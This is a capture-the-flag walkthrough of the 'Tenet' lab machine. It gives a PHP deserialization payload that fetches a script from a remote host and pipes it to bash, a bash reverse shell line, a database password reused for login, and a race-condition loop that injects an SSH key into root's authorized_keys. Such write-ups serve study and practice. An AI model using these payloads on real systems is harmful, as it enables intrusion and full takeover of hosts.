Tenet

Tenet has port 80 open so let's check it out. Without adding tenet.htb to etc/hosts there's just an apache welcome page so it is required to add that. There seems to be a comment from user "neil" that meantions something about sator php file and backup.. What could that mean?

tenet-migration

To be honest this part was so stupid, obvious and at the same time so frustating to figure out but it's a hint that there's a sator.php file on http://IP-ADDRESS/sator.php AND ALSO sator.php.bak file on http://IP-ADDRESS/sator.php.bak. That file contains a php class:

<?php

class DatabaseExport
{
    public $user_file = 'users.txt';
    public $data = '';

    public function update_db()
    {
        echo '[+] Grabbing users from text file <br>';
        $this-> data = 'Success';
    }

    public function __destruct()
    {
        file_put_contents(__DIR__ . '/' . $this ->user_file, $this->data);
        echo '[] Database updated <br>';
    //  echo 'Gotta get this working properly...';
    }
}

$input = $_GET['arepo'] ?? '';
$databaseupdate = unserialize($input);

$app = new DatabaseExport;
$app -> update_db();

?>

Like other languages, PHP serializing has some vulnerabilities especially with classes that use so called "magic functions" such as destruct, which gets executed while unserializing. PHP has some annoying way to create serialized input, you have to define every variable's charecter length and since it's a GET-request param you also need to be careful with escaping quotes etc.. After some trial and error a good payload is:

?arepo=O:14:"DatabaseExport":2:{s:9:"user_file";s:10:"dumbos.php";s:4:"data";s:70:"<?php system('wget -O - http://10.10.14.50:8000/shell.sh | bash '); ?>";}

which creates a file dumbos.php (I am so creative, right?) file which contains a system call to download file from local server and executing it. There sure is more subtle ways to do this but I got fed up with escaping slashes etc and it works so good enough! After sending that, starting netcat listener on port 1337, creating shell.sh file on local web root with contents

bash -i >& /dev/tcp/10.10.14.50/1337 0>&1

And navigating to /dumbos.php we got a shell! Wordpress sites have a wp-config.php file on root folder of Wordpress-installation which contains Database credentials

// ** MySQL settings - You can get this info from your web host ** //                                                                                                                           
/** The name of the database for WordPress */                                                                                                                                                   
define( 'DB_NAME', 'wordpress' );                                                                                                                                                               

/** MySQL database username */                                                                                                                                                                  
define( 'DB_USER', 'neil' );                                                                                                                                                                    

/** MySQL database password */                                                                                                                                                                  
define( 'DB_PASSWORD', 'Opera2112' );                                                                                                                                                           

/** MySQL hostname */                                                                                                                                                                           
define( 'DB_HOST', 'localhost' );                                                                                                                                                               

/** Database Charset to use in creating database tables. */                                                                                                                                     
define( 'DB_CHARSET', 'utf8mb4' );                                                                                                                                                              

/** The Database Collate type. Don't change this if in doubt. */                                                                                                                                
define( 'DB_COLLATE', '' );                                                                                                                                                                     

define( 'WP_HOME', 'http://tenet.htb');                                                                                                                                                         
define( 'WP_SITEURL', 'http://tenet.htb');  

Since the box also has a user named neil it wouldn't be a long shot to try logging in as neil with these credentials and what do you know the credentials work! After switching to a real user it's always a good idea to check if user has some sudo-privileges with sudo -l

neil@tenet:/var/www/html/wordpress$ sudo -l
sudo -l
Matching Defaults entries for neil on tenet:
env_reset, mail_badpass,
  secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:

User neil may run the following commands on tenet:
(ALL : ALL) NOPASSWD: /usr/local/bin/enableSSH.sh

Contents of /usr/local/bin/enableSSH.sh:

#!/bin/bash

checkAdded() {

sshName=$(/bin/echo $key | /usr/bin/cut -d " " -f 3)

if [[ ! -z $(/bin/grep $sshName /root/.ssh/authorized_keys) ]]; then

        /bin/echo "Successfully added $sshName to authorized_keys file!"

else

        /bin/echo "Error in adding $sshName to authorized_keys file!"

fi

}

checkFile() {

if [[ ! -s $1 ]] || [[ ! -f $1 ]]; then

        /bin/echo "Error in creating key file!"

        if [[ -f $1 ]]; then /bin/rm $1; fi

        exit 1

fi

}

addKey() {

tmpName=$(mktemp -u /tmp/ssh-XXXXXXXX)

(umask 110; touch $tmpName)

/bin/echo $key >>$tmpName

checkFile $tmpName

/bin/cat $tmpName >>/root/.ssh/authorized_keys

/bin/rm $tmpName

}

key="ssh-rsa AAAAA3NzaG1yc2GAAAAGAQAAAAAAAQG+AMU8OGdqbaPP/Ls7bXOa9jNlNzNOgXiQh6ih2WOhVgGjqr2449ZtsGvSruYibxN+MQLG59VkuLNU4NNiadGry0wT7zpALGg2Gl3A0bQnN13YkL3AA8TlU/ypAuocPVZWOVmNjGlftZG9AP656hL+c9RfqvNLVcvvQvhNNbAvzaGR2XOVOVfxt+AmVLGTlSqgRXi6/NyqdzG5Nkn9L/GZGa9hcwM8+4nT43N6N31lNhx4NeGabNx33b25lqermjA+RGWMvGN8siaGskvgaSbuzaMGV9N8umLp6lNo5fqSpiGN8MQSNsXa3xXG+kplLn2W+pbzbgwTNN/w0p+Urjbl root@ubuntu"
addKey
checkAdded

Interesting, so it creates a temp file to /tmp/ssh-XXXXXXXX (X-s being random and unique) and adds content's of that file to root's authorized keys! This can be exploited with a pretty simple shell script:

while true; do echo 'ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDCyqm4KC6WN5p+cXGjC/1ypPoKgFsWCcKBsPKGjt0D5oPPjA7gWrkNvmcfrKNzjACPR/wcSZWk5yD5r2WNAFuEd3/vIWh0ngOKrzOuB8jU7NkQwn7zhNY06NMV+TMFYXanUkeq5fvGcQSxry0LYNOiGW3WvMxkpCea8VztYbJg4boZ/r/UlzTMtcG4zCHXL5xASWFAD27Cy4UeKecCXXafFna7SI9VqixnhtqDsFIMb2AgFkJaT7RlLPxXP9Wjq3B8FvfH7kNjj8lCEjQO7D9Lz/B3zrBfueAT+fkwuP8E3cyOAxDPEJl4TVe4Gy1M8Kkau4SmoUxR9pW8GguUiAovBcjvYQ2245g9Fp60GDx60dFuYLzUvcoA1ZFV6F3LITTj9tLQuNoYdHc1cUXzaTyhTj5IGAsLOCM7MI9pImK5U/7YRrPWtn1J9gpyT1eK2EbIrWTBCoYryisftSYoX8c8S1PMJSJbV1Umjalg/Qb3ESSrgwRxGn9hMGf/st8alcs= kali@kali' | tee /tmp/ssh-*; done

The script keeps trying to add SSH public key to any file in /tmp/ which name contains "ssh-". With this running on one command prompt and executing the enableSSH.sh file AS SUDO on another we manage to add OUR ssh key to root's authorized keys! From there just login to box via SSH and get the flag! (Note, you may need to run the enableSSH.sh multiple times but it will work!